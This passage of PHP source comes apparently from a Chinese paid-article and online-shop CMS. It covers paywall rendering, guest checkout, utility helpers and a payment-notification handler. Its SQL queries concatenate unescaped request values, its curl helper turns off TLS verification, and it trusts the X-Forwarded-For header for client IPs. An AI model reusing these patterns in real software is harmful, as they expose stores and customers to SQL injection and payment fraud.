      $M_viplong=$row["M_viplong"];

      if($M_viplong-(time()-strtotime($M_viptime))/86400>0){
      	$M_vip=1;
      	if($M_viplong>30000){
      		$discount=$C_n_discount2/10;
      	}else{
      		$discount=$C_n_discount/10;
      	}
        
        $fee="<b style=\"color:".$color."\">".round($N_price*$discount,2)."元</b>[<del>原价：".$N_price."元</del>]";
      }else{
      	$M_vip=0;
        $discount=1;
        $fee="<b style=\"color:".$color."\">".$N_price."元</b>";
      }
    }else{
    	$M_vip=0;
      	$discount=1;
      	$fee="<b style=\"color:".$color."\">".$N_price."元</b>";
    }
  $N=getrs("select * from sl_news where N_id=".$id);

  $N_long=$N["N_long"];
  $N_date=$N["N_date"];
  $N_uncopy=$N["N_uncopy"];
  $N_fx=$N["N_fx"];
  $N_viponly=$N["N_viponly"];
	if($N_long>0){
		$N_longinfo="<br>[限时收费]本文章将在<span style=\"color:$color\">".date("Y-m-d H:i:s",strtotime("+$N_long hour",strtotime($N_date)))."</span>后免费开放阅读";
	}else{
		$N_longinfo="";
	}
  $api=$api."
  <style>
  .fh100_news_box{text-align:center;width:clac(100% - 40px);max-width:600px;margin:0 auto;border-radius:10px;border:dashed 1px ".$color.";padding:20px;box-shadow:0px 2px 10px #CCCCCC;font-size:15px}
  .fh100_news_btn{color:#ffffff !important;background:".$color.";display:inline-block;margin-top:10px;border-radius:10px;border:solid 1px ".$color.";padding:0 10px;font-size:15px}
  .fh100_news_btn:hover{color:".$color." !important;background:#ffffff;border:solid 1px ".$color.";}
  .fh100_qr_buy{display:inline-block;vertical-align:top;width:100px;margin-right:15px;}
  .fh100_qr_buy div{font-size:12px;}
  .fh100_news_buy{display:inline-block}
  .fh100_news_buy a{text-align:center}
  </style>";
  $api=$api."<form action=\"buy.php?type=newsinfo&id=$id\" method=\"post\">
        <div class=\"fh100_news_box\">";
		if(!isMobile()){
			$api=$api."<div class=\"fh100_qr_buy\">
		        	<div id=\"billImage\"></div>
		        	<div>扫码免登录支付</div>
		        </div>";
		}
        $api=$api."<div class=\"fh100_news_buy\">";

		if($N_viponly==1 && $M_vip==0){
			$api=$api."<div>本文章为付费文章，是否<b style=\"color:".$color."\">开通VIP</b>后完整阅读？</div>";
		}else{
			$api=$api."<div>本文章为付费文章，是否支付".$fee."后完整阅读？</div>";
		}
      
        $api=$api."<p style=\"font-size:12px;color:#AAAAAA\">如果您已购买过该文章，<a href=\"member/login.php?from=".urlencode("../?type=newsinfo&id=$id")."\">[登录帐号]</a>后即可查看".$N_longinfo."</p>
        <input type=\"hidden\" name=\"genkey\" value=\"$genkey\">";

		if($N_viponly==1 && $M_vip==0){
			$api=$api."<button class=\"fh100_news_btn\" onclick=\"window.location.href='member/vip.php'\" type=\"button\">开通VIP后查看</button>";
		}else{
			$api=$api."<button class=\"fh100_news_btn\">支付".round($N_price*$discount,2)."元</button>";
		    if(intval($_SESSION["M_id"])==0){
		    	$api=$api." <button onclick=\"window.location.href='member/unlogin.php?type=news&id=$id&genkey=$genkey'\" class=\"fh100_news_btn\" type=\"button\">免登录支付</button>";
		    }
		    if($N_fx==1 && ($C_fx1>0 || $C_fx2>0 || $C_fx3>0) ){
			 $api=$api." <button onclick=\"window.location.href='conn/poster.php?type=news&id=$id&from=".intval($_SESSION["M_id"])."'\" class=\"fh100_news_btn\" type=\"button\">赚佣金</button>";
			}
		}

        $api=$api."</div>
        </div>
        </form>";
	if(!isMobile()){
		$api=$api."<script src=\"js/qrcode.min.js\"></script>
		<script>
		var qrcode = new QRCode('billImage', {width: 100,height: 100,colorDark: '#000000',colorLight: '#ffffff',correctLevel: QRCode.CorrectLevel.H});
		qrcode.makeCode(\"".gethttp().splitx($_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'],"index.php",0)."member/unlogin.php?type=news&id=$id&genkey=$genkey\");
		</script>";
	}
$api=$api."<script>
function getQueryVariable(variable){
       var query = window.location.search.substring(1);
       var vars = query.split(\"&\");
       for (var i=0;i<vars.length;i++) {
               var pair = vars[i].split(\"=\");
               if(pair[0] == variable){return pair[1];}
       }
       return(false);
}
function news_post(){
	\$.post(\"conn/f.php?action=checknewsbuy&id=$id\",
    {
      genkey:getQueryVariable(\"genkey\"),
    },
  function(data){
  	data = JSON.parse(data);
	  if(data.code==\"success\"){
	  	\$(\"#N_tx\").html(data.msg);
	  }
    });
}
setTimeout(\"news_post()\",500);
</script>";
if($N_uncopy==1){
	$api=$api."<script language=\"Javascript\">  
		document.oncontextmenu=new Function(\"event.returnValue=false\");  
		document.onselectstart=new Function(\"event.returnValue=false\");  
		</script>";
}
  return $api;
}

function unlogin_product($class,$id,$genkey='a'){
	global $conn,$C_fx1,$C_fx2,$C_fx3;
	if($genkey=="a"){
		$genkey=date('YmdHis').rand(1000,9999);
	}

	$sql="select * from sl_product where P_id=".intval($id);
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
	$P_id=p($row["P_id"]);
	$P_price=p($row["P_price"]);
	$P_unlogin=$row["P_unlogin"];
	$P_fx=$row["P_fx"];
	$P_taobao=$row["P_taobao"];
	$P_code=$row["P_code"];

	if($P_code!=""){
		$unlogin=$unlogin." <div style=\"display:inline-block;vertical-align:top;\" id=\"P_code\"><button class=\"$class\" onclick=\"code()\" type=\"button\">免费兑换</button></div>";
	}

	$unlogin=$unlogin." <button class=\"$class\" onclick=\"addcart()\" type=\"button\" id=\"cart_btn\">加入购物车</button>";

	if(splitx($P_taobao,"|",1)!=""){
		$unlogin=$unlogin." <a class=\"$class\" href=\"".splitx($P_taobao,"|",1)."\" target=\"_blank\">演示地址</a>";
	}

	$info=$unlogin."<input type=\"hidden\" name=\"genkey\" value=\"$genkey\">
	<script>
	function code(){
		$(\"#P_code\").html(\"<input type='text' name='P_code' id='duihuan' placeholder='兑换码' style='border:none;border-bottom:solid 1px #DDDDDD;vertical-align:bottom;height:30px;outline: none;'><button class='$class' onclick='getp()' type='button'>兑换</button>\");
	}
	function getp(){
		$.ajax({
		        type: \"POST\",
		        url: \"conn/f.php?action=getp&id=$P_id\",
		        data: $(\"#buy\").serialize(),
		        success:function(d){
		            if(d==\"success\"){
		              window.location.href=\"member/unlogin.php?genkey=$genkey\";
		            }else{
		              alert(d);
		            }
		       }
		     });
	}
	</script>
	";
	if(splitx($P_taobao,"|",0)==""){
		return $info;
	}else{
		return "<div style=\"display:inline-block;font-size:12px;vertical-align:bottom\">说明：将会跳转到<a href=\"".splitx($P_taobao,"|",0)."\" target=\"_blank\">外部链接</a>购买</div>";
	}
}

function unlogin_product_qr($id,$genkey='a'){
	if($genkey=="a"){
		$genkey=date('YmdHis').rand(1000,9999);
	}
	$info="https://static.websiteonline.cn/website/qr/index.php?url=".urlencode(gethttp().splitx($_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'],"index.php",0)."member/unlogin.php?type=product&id=".$id."&genkey=".$genkey);
	return $info;
}

function getrs($sqlx,$valuex=""){
	global $conn;
	$resultx = mysqli_query($conn,$sqlx);
	$rowx = mysqli_fetch_assoc($resultx);
	if (mysqli_num_rows($resultx) > 0) {
		if($valuex==""){
			return $rowx;
		}else{
			return $rowx[$valuex];
		}
	}else{
		return "";
	}
}

function getlist($sql){
	global $conn;
		$result = mysqli_query($conn, $sql);
		$arr = array();  
		while($row = mysqli_fetch_array($result)) {
		$count=count($row);
		  for($i=0;$i<$count;$i++){ 
		    unset($row[$i]);
		  }   
	    array_push($arr,$row);
	} 
	return $arr;
}

function gen_key($length,$type=1) { 
	switch ($type){
		case 1:
		$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; 
		break;
		case 2:
		$chars = '0123456789'; 
		break;
		case 3:
		$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; 
		break;
		default:
		$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; 
	}

	$password = ''; 
	for ( $i = 0; $i < $length; $i++ ) { 
	$password .= $chars[ mt_rand(0, strlen($chars) - 1) ]; 
	} 
	return $password; 
} 

function diffBetweenTwoDays ($day1, $day2)
{
  $second1 = strtotime($day1);
  $second2 = strtotime($day2);

  return round(($second2 - $second1) / 86400,0);
}

function splitx($a,$b,$c){
	$d=explode($b,$a);
	return $d[$c];
}

function GetBody($url, $xml,$method='POST'){    
    $second = 30;
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_TIMEOUT, $second);
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,false);
    curl_setopt($ch, CURLOPT_HEADER, false);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    curl_setopt($ch, CURLOPT_POST, TRUE);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $xml);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
    $data = curl_exec($ch);
    if($data){
      curl_close($ch);
      return $data;
    } else { 
      $error = curl_errno($ch);
      curl_close($ch);
      return false;
    }
}

function isMobile() {
  if (isset($_SERVER['HTTP_X_WAP_PROFILE'])) {
    return true;
  }
  if (isset($_SERVER['HTTP_VIA'])) {
    return stristr($_SERVER['HTTP_VIA'], "wap") ? true : false;
  }
  if (isset($_SERVER['HTTP_USER_AGENT'])) {
    $clientkeywords = array('nokia','sony','ericsson','mot','samsung','htc','sgh','lg','sharp','sie-','philips','panasonic','alcatel','lenovo','iphone','ipod','blackberry','meizu','android','netfront','symbian','ucweb','windowsce','palm','operamini','operamobi','openwave','nexusone','cldc','midp','wap','mobile');
    if (preg_match("/(" . implode('|', $clientkeywords) . ")/i", strtolower($_SERVER['HTTP_USER_AGENT']))) {
      return true;
    }
  }

  if (isset ($_SERVER['HTTP_ACCEPT'])) {
    if ((strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') !== false) && (strpos($_SERVER['HTTP_ACCEPT'], 'text/html') === false || (strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') < strpos($_SERVER['HTTP_ACCEPT'], 'text/html')))) {
      return true;
    }
  }
  return false;
}

function isWeixin() {
  if (strpos($_SERVER['HTTP_USER_AGENT'], 'MicroMessenger') !== false) {
    return true;
  } else {
    return false;
  }
}

function getip(){
    static $realip;
    if (isset($_SERVER)){
        if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])){
            $realip = $_SERVER["HTTP_X_FORWARDED_FOR"];
        } else if (isset($_SERVER["HTTP_CLIENT_IP"])) {
            $realip = $_SERVER["HTTP_CLIENT_IP"];
        } else {
            $realip = $_SERVER["REMOTE_ADDR"];
        }
    } else {
        if (getenv("HTTP_X_FORWARDED_FOR")){
            $realip = getenv("HTTP_X_FORWARDED_FOR");
        } else if (getenv("HTTP_CLIENT_IP")) {
            $realip = getenv("HTTP_CLIENT_IP");
        } else {
            $realip = getenv("REMOTE_ADDR");
        }
    }
    return $realip;
}

Function DateAdd($part, $n, $date,$type="Y-m-d"){
switch($part){
case "y": $val = date($type, strtotime($date ." +$n year")); break;
case "m": $val = date($type, strtotime($date ." +$n month")); break;
case "w": $val = date($type, strtotime($date ." +$n week")); break;
case "d": $val = date($type, strtotime($date ." +$n day")); break;
case "h": $val = date($type, strtotime($date ." +$n hour")); break;
case "n": $val = date($type, strtotime($date ." +$n minute")); break;
case "s": $val = date($type, strtotime($date ." +$n second")); break;
}
return $val;
}

function box($B_text,$B_url,$B_type){
if ($B_url=="back"){
	echo "<script>alert('".$B_text."');history.back();</script>";
}else{
	echo "<script>alert('".$B_text."');window.location.href='".$B_url."';</script>";
}
die();
}

function geturl(){
	return gethttp().$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];
}

function CopyMyFolder($source, $dest){
    if (!file_exists($dest)) mkdir($dest);
    $handle = opendir($source);
    while (($item = readdir($handle)) !== false) {
        if ($item == '.' || $item == '..') continue;
        $_source = $source . '/' . $item;
        $_dest = $dest . '/' . $item;
        if (is_file($_source)) copy($_source, $_dest);
        if (is_dir($_source)) CopyMyFolder($_source, $_dest);
    }
    closedir($handle);
}


function DeleteFolder($path){
    $handle = opendir($path);
    while (($item = readdir($handle)) !== false) {
        if ($item == '.' || $item == '..') continue;
        $_path = $path . '/' . $item;
        if (is_file($_path)) unlink($_path);
        if (is_dir($_path)) DeleteFolder($_path);
    }
    closedir($handle);
    return rmdir($path);
}

function t($str){
	global $conn;
    return mysqli_real_escape_string($conn,$str);
}

function CheckFields($myTable,$myFields){
	global $conn;
	$field = mysqli_query($conn,"Describe ".$myTable." ".$myFields);  
	$field = mysqli_fetch_array($field);  
	if($field[0]){  
		return 1;
	}else{
		return 0;
	}
}

function CheckTables($myTable){
	global $conn;
	$field = mysqli_query($conn,"SHOW TABLES LIKE '". $myTable."'");  
	$field = mysqli_fetch_array($field);  
	if($field[0]){  
		return 1;
	}else{
		return 0;
	}
}

function enname($name){
	if($name=="未登录帐号"){
		return "免登录购买";
	}else{
		return mb_substr($name,0,1,"utf-8")."***";
	}
	
}

function xcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 4;   
    $key = md5($key ? $key : $GLOBALS['discuz_auth_key']);   
    $keya = md5(substr($key, 0, 16));   
    $keyb = md5(substr($key, 16, 16));   
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length):substr(md5(microtime()), -$ckey_length)) : '';    
    $cryptkey = $keya.md5($keya.$keyc);   
    $key_length = strlen($cryptkey);   
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;   
    $string_length = strlen($string);   
    $result = '';   
    $box = range(0, 255);   
    $rndkey = array();     
    for($i = 0; $i <= 255; $i++) {   
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);   
    }    
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }   
    for($a = $j = $i = 0; $i < $string_length; $i++) {   
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;   
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    if($operation == 'DECODE') {   
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {   
            return substr($result, 26);   
        } else {   
            return '';   
        }   
    } else { 
        return $keyc.str_replace('=', '', base64_encode($result));   
    }   
}

function removeDir($dirName) 
{ 
    if(! is_dir($dirName)) 
    { 
        return false; 
    } 
    $handle = @opendir($dirName); 
    while(($file = @readdir($handle)) !== false) 
    { 
        if($file != '.' && $file != '..') 
        { 
            $dir = $dirName . '/' . $file; 
            is_dir($dir) ? removeDir($dir) : @unlink($dir); 
        } 
    } 
    closedir($handle); 
      
    return rmdir($dirName) ; 
} 

function notify($no,$type,$id,$genkey,$email,$num,$M_id,$money,$D_domain,$paytype,$no2=''){
	global $conn,$C_n_discount,$C_p_discount,$C_n_discount2,$C_p_discount2,$C_email,$C_fx1,$C_fx2,$C_fx3,$C_fen1,$C_mobile,$C_smssign,$C_dx5,$fmid;
	if($money<0 || $num<1){
		return false;//订单金额错误或数量错误
	}else{
		$sql="select * from sl_member where M_id=".intval($M_id);
	    $result = mysqli_query($conn, $sql);
	    $row = mysqli_fetch_assoc($result);
	    $M_id=$row["M_id"];
	    $M_email=$row["M_email"];
	    $M_money=$row["M_money"];
	    $M_viptime=$row["M_viptime"];
	    $M_viplong=$row["M_viplong"];

	    if($M_viplong-(time()-strtotime($M_viptime))/86400>0){
	        $M_vip=1;
	        if($M_viplong>30000){
	        	$N_discount=$C_n_discount2/10;
	        	$P_discount=$C_p_discount2/10;
	        }else{
	        	$N_discount=$C_n_discount/10;
	        	$P_discount=$C_p_discount/10;
	        }
	    }else{
	        $M_vip=0;
	        $N_discount=1;
	        $P_discount=1;
	    }

		$sql = "select * from sl_list where L_no='" . $no . "'";
	    $result = mysqli_query($conn, $sql);
	    $row = mysqli_fetch_assoc($result);
	    if (mysqli_num_rows($result) <= 0) {
	        
	        if($type=="news"){//文章
				$sql2="select * from sl_news where N_del=0 and N_id=".$id;
				$result2 = mysqli_query($conn, $sql2);
				$row2 = mysqli_fetch_assoc($result2);
				if (mysqli_num_rows($result2) > 0) {
					$N_title=$row2["N_title"];
					$N_pic=$row2["N_pic"];
					$N_price=p($row2["N_price"]*$N_discount);
					$N_price2=round($row2["N_price2"],2);
					$N_mid=$row2["N_mid"];
					$N_fx=$row2["N_fx"];
				}

				if($N_price==$money){
					if($paytype=="余额支付"){
						mysqli_query($conn, "update sl_member set M_money=M_money-$money where M_id=$M_id");
					}else{
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey) values($M_id,'$no','帐号充值','".date('Y-m-d H:i:s')."',".$money.",'$genkey')");
					}
					
					mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey,L_no2) values($M_id,'$no','文章付费阅读','".date('Y-m-d H:i:s')."',-".$money.",'$genkey','$no2')");

					mysqli_query($conn, "update sl_orders set O_state=1 where O_genkey='$genkey'");
					if($N_mid!=$M_id){
						mysqli_query($conn, "update sl_member set M_fen=M_fen+".($money*$C_fen1)." where M_id=$M_id");
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey,L_type) values($M_id,'$no','文章付费阅读','".date('Y-m-d H:i:s')."',".($money*$C_fen1).",'$genkey',1)");
					}
					if($N_mid>0){
						mysqli_query($conn, "update sl_member set M_money=M_money+".$money." where M_id=$N_mid");
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey) values($N_mid,'".date('YmdHis').rand(10000000,99999999)."','售出文章-".$N_title."','".date('Y-m-d H:i:s')."',$money,'')");
					}else{
						sendmail("有用户通过".$paytype."阅读文章","用户ID：".$M_id."<br>文章名称：".$N_title."<br>订单金额：".$money."元<br>交易单号：".$no,$C_email);
						$_SESSION["time2"]=0;
						if($C_dx5==1){
							sendsms("【".$C_smssign."】有用户通过".$paytype."阅读文章，用户ID：".$M_id."，文章名称：".$N_title."，订单金额：".$money."元，交易单号：".$no,$C_mobile);
						}
					}
					if($fmid>0 && $N_mid==0){//只有主站文章加提成
						if($N_price2-$money>0){
							$N_price2=$money;
						}
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey) values($fmid,'$no','售出文章','".date('Y-m-d H:i:s')."',".$money.",'$genkey')");
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey) values($fmid,'$no','扣除成本','".date('Y-m-d H:i:s')."',-".$N_price2.",'$genkey')");
						mysqli_query($conn, "update sl_member set M_money=M_money+".($money-$N_price2)." where M_id=$fmid");
					}
					if($N_fx==1){
						fx($money,$M_id,$N_mid);
					}
					sendmail("查收您的付费阅读文章", "<p>感谢您购买文章《".$N_title."》阅读</p><p>阅读链接：".gethttp().$D_domain."/?type=newsinfo&id=".$id."&genkey=".$genkey."</p><p>订单编号；".$genkey."</p>", getrs("select O_address from sl_orders where O_genkey='$genkey'","O_address"));
				}
	        }

	        if($type=="course"){//课程
	        	$O=getrs("select * from sl_orders where O_genkey='$genkey'");
	        	if($O["O_price"]*$O["O_num"]==$money){
	        		if($paytype=="余额支付"){
						mysqli_query($conn, "update sl_member set M_money=M_money-$money where M_id=$M_id");
					}else{
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey) values($M_id,'$no','帐号充值','".date('Y-m-d H:i:s')."',".$money.",'$genkey')");
					}
					mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey,L_no2) values($M_id,'$no','开通在线课程','".date('Y-m-d H:i:s')."',-".$money.",'$genkey','$no2')");
					mysqli_query($conn, "update sl_orders set O_state=1 where O_genkey='$genkey'");
					if($N_mid!=$M_id){
						mysqli_query($conn, "update sl_member set M_fen=M_fen+".($money*$C_fen1)." where M_id=$M_id");
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey,L_type) values($M_id,'$no','开通在线课程','".date('Y-m-d H:i:s')."',".($money*$C_fen1).",'$genkey',1)");
					}
					sendmail("有用户通过".$paytype."购买课程","用户ID：".$M_id."<br>课程名称：".$O["O_title"]."<br>订单金额：".$money."元<br>交易单号：".$no,$C_email);
					if($C_dx5==1){
						sendsms("【".$C_smssign."】有用户通过".$paytype."购买课程，用户ID：".$M_id."，课程名称：".$O["O_title"]."，订单金额：".$money."元，交易单号：".$no,$C_mobile);
					}
	        	}
	        }

	        if($type=="product"){//商品
				$sql2="select * from sl_product where P_del=0 and P_id=".$id;
				$result2 = mysqli_query($conn, $sql2);
				$row2 = mysqli_fetch_assoc($result2);
				if (mysqli_num_rows($result2) > 0) {
					$P_title=$row2["P_title"];
					$P_pic=$row2["P_pic"];
					$P_sell=$row2["P_sell"];
					$P_selltype=$row2["P_selltype"];
					$P_ggsell=$row2["P_ggsell"];
					$P_gg=$row2["P_gg"];
					if($row2["P_vip"]==1){
						$P_price=p($row2["P_price"]*$P_discount);
						$P_price2=round($row2["P_price2"],2);
					}else{
						$P_price=p($row2["P_price"]);
						$P_price2=round($row2["P_price2"],2);
					}
					
					$P_mid=$row2["P_mid"];
					$P_fx=$row2["P_fx"];
				}

				$O=getrs("select * from sl_orders where O_genkey='$genkey'");
				if(round($O["O_price"]*$num-$O["O_quan"]+$O["O_postage"],2)==round($money,2)){//验证订单金额
					if($P_ggsell=="" || $O["O_gg"]=="标配" || $O["O_gg"]==""){//如果没有设置各项发货
						switch($P_selltype){
						  	case 0:
						  		$O_content=$P_sell;
						  		$O_address=$O["O_address"];
						  		$O_state=1;
						  		$O_html=0;
						  	break;
						  	case 1:
						  		for($i=0;$i<$num;$i++){
									$C_id=getrs("select * from sl_card where C_del=0 and C_use=0 and C_sort=".intval($P_sell),"C_id");
									$C_content=getrs("select * from sl_card where C_id=".intval($C_id),"C_content");
									if($C_content==""){
										$O_content=$O_content."商品缺货，请联系客服||";
									}else{
										$O_content=$O_content.$C_content."||";
									}
									mysqli_query($conn,"update sl_card set C_use=1 where C_id=".intval($C_id));
								}
								$O_content=substr($O_content,0,strlen($O_content)-2);
								$O_address=$O["O_address"];
								$O_state=1;

						  	break;
						  	case 2:
						  		mysqli_query($conn,"update sl_product set P_rest=P_rest-$num where P_id=".$id);
						  		$O_content="实物商品，由商家手动发货";
						  		$O_address=$O["O_address"];
						  		$O_state=2;
						  		$O_html=0;
						  	break;
						}
					}else{//单项发货
						$O_gg=splitx($O["O_gg"],"|",0);
						$gg=splitx(splitx($P_gg,"@",0),"_",1);
						$gg=explode("|",$gg);
						for($z=0;$z<count($gg);$z++){
							if($O_gg==$gg[$z]){
								switch(splitx(splitx($P_ggsell,"\n",$z),"|",0)){
								  	case 0:
								  		$O_content=splitx(splitx($P_ggsell,"\n",$z),"|",1);
								  		$O_address=$O["O_address"];
								  		$O_state=1;
								  		$O_html=0;
								  	break;
								  	case 1:
								  		for($i=0;$i<$num;$i++){
											$C_id=getrs("select * from sl_card where C_del=0 and C_use=0 and C_sort=".intval(splitx(splitx($P_ggsell,"\n",$z),"|",1)),"C_id");
											$C_content=getrs("select * from sl_card where C_id=".intval($C_id),"C_content");
											if($C_content==""){
												$O_content=$O_content."商品缺货，请联系客服||";
											}else{
												$O_content=$O_content.$C_content."||";
											}
											mysqli_query($conn,"update sl_card set C_use=1 where C_id=".intval($C_id));
										}
										$O_content=substr($O_content,0,strlen($O_content)-2);
										$O_address=$O["O_address"];
										$O_state=1;
								  	break;
								  	case 2:
								  		mysqli_query($conn,"update sl_product set P_rest=P_rest-$num where P_id=".$id);
								  		$O_content="实物商品，由商家手动发货";
								  		$O_address=$O["O_address"];
								  		$O_state=2;
								  		$O_html=0;
								  	break;
								}
							}
						}
					}

					$OX=explode("|",$O["O_title"]."|".$O["O_gg"]);
					for($i=0;$i<count($OX);$i++){
						if(strpos($OX[$i],"个月")!==false){
							$long=intval(splitx($OX[$i],"个月",0));
							if($long>0){
								mysqli_query($conn, "update sl_orders set O_time2='".date('Y-m-d H:i:s',strtotime('+'.$long.' month'))."',O_today='".date('Y-m-d H:i:s')."' where O_genkey='$genkey'");
							}
						}
						if(strpos($OX[$i],"年")!==false){
							$long=intval(splitx($OX[$i],"年",0));
							if($long>0){
								mysqli_query($conn, "update sl_orders set O_time2='".date('Y-m-d H:i:s',strtotime('+'.$long.' year'))."',O_today='".date('Y-m-d H:i:s')."' where O_genkey='$genkey'");
							}
						}
						if(strpos($OX[$i],"天")!==false){
							$long=intval(splitx($OX[$i],"天",0));
							if($long>0){
								mysqli_query($conn, "update sl_orders set O_time2='".date('Y-m-d H:i:s',strtotime('+'.$long.' day'))."',O_today='".date('Y-m-d H:i:s')."' where O_genkey='$genkey'");
							}
						}
					}
				
					mysqli_query($conn, "update sl_product set P_sold=P_sold+$num where P_id=".$id);
					if($paytype=="余额支付"){
						mysqli_query($conn, "update sl_member set M_money=M_money-$money where M_id=$M_id");
					}else{
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey) values($M_id,'$no','帐号充值','".date('Y-m-d H:i:s')."',".$money.",'$genkey')");
					}
					if($P_mid!=$M_id){
						mysqli_query($conn, "update sl_member set M_fen=M_fen+".($money*$C_fen1)." where M_id=$M_id");
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey,L_type) values($M_id,'$no','购买商品','".date('Y-m-d H:i:s')."',".($money*$C_fen1).",'$genkey',1)");
					}
					
					mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey,L_no2) values($M_id,'$no','购买商品','".date('Y-m-d H:i:s')."',-".$money.",'$genkey','$no2')");
					//mysqli_query($conn, "insert into sl_orders(O_pid,O_mid,O_time,O_type,O_price,O_num,O_content,O_title,O_pic,O_address,O_state,O_genkey,O_sellmid) values($id,$M_id,'".date('Y-m-d H:i:s')."',0,$P_price,$num,'$O_content','$P_title','$P_pic','$O_address',$O_state,'$genkey',$P_mid)");
					//
					mysqli_query($conn, "update sl_orders set O_state=$O_state,O_content='$O_content' where O_genkey='$genkey'");

					if($fmid>0 && $P_mid==0){//只有主站商品加提成
						if($P_price2*$num-$money>0){
							$P_price2=$money/$num;
						}
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey) values($fmid,'$no','售出商品','".date('Y-m-d H:i:s')."',".$money.",'$genkey')");
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey) values($fmid,'$no','扣除成本','".date('Y-m-d H:i:s')."',-".($money*$P_price2/$P_price).",'$genkey')");
						mysqli_query($conn, "update sl_member set M_money=M_money+".($money-($money*$P_price2/$P_price))." where M_id=$fmid");
					}

					if($P_mid>0){
						$M=getrs("select * from sl_member where M_id=$P_mid");
						mysqli_query($conn, "update sl_member set M_money=M_money+".$money." where M_id=$P_mid");
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey) values($P_mid,'".date('YmdHis').rand(10000000,99999999)."','售出商品-".$P_title."','".date('Y-m-d H:i:s')."',$money,'')");
						sendmail("有用户通过".$paytype."购物","用户ID：".$M_id."<br>商品名称：".$P_title."<br>订单金额：".$money."元<br>交易单号：".$no,$M["M_email"]);
						$_SESSION["time2"]=0;
						if($C_dx5==1){
							sendsms("【".$C_smssign."】您的商品已售出，请登录会员中心查看，单号：".$no,$M["M_mobile"]);
						}
					}else{
						sendmail("有用户通过".$paytype."购物","用户ID：".$M_id."<br>商品名称：".$P_title."<br>订单金额：".$money."元<br>交易单号：".$no,$C_email);
						$_SESSION["time2"]=0;
						if($C_dx5==1){
							sendsms("【".$C_smssign."】有用户通过".$paytype."购物，请登录后台查看，交易单号：".$no,$C_mobile);
						}
					}

					if($P_fx==1){
						fx($money,$M_id,$P_mid);
					}
					
					if(checkauth()){
						plug("x4","../../conn/plug/");
						require "../../conn/plug/x4.php";
					}
					if(strpos(splitx($O_address,"__",0),"@")!==false && strpos(splitx($O_address,"__",0),".")!==false){
						sendmail("您的购买的商品已发货","<p>商品名称：".$P_title."</p><p>取货地址：".gethttp().$D_domain."/member/unlogin.php?type=fahuo&genkey=".$genkey."</p><p>订单编号：".$no."</p>",splitx($O_address,"__",0));
					}
				}
	        }
		    return true;
	    }else{
	    	return false;
	    }
	}
}


function fx($money,$M_id,$P_mid){
	global $C_fx1,$C_fx2,$C_fx3,$conn;
	$genkey=date('YmdHis').rand(1000,9999);

	if(checkauth()){
		plug("x2","../../conn/plug/");
		require "../../conn/plug/x2.php";
	}
}
function fx_vip($money,$M_id,$P_mid){
	global $C_fx1,$C_fx2,$C_fx3,$conn;
	$genkey=date('YmdHis').rand(1000,9999);

	if(checkauth()){
		plug("x2","../conn/plug/");
		require "../conn/plug/x2.php";
	}
}
function removexss($val) {
    $val = preg_replace ( '/([\x00-\x08\x0b-\x0c\x0e-\x19])/', '', $val );

    $search = 'abcdefghijklmnopqrstuvwxyz';
    $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $search .= '1234567890!@#$%^&*()';
    $search .= '~`";:?+/={}[]-_|\'\\';
    for($i = 0; $i < strlen ( $search ); $i ++) {

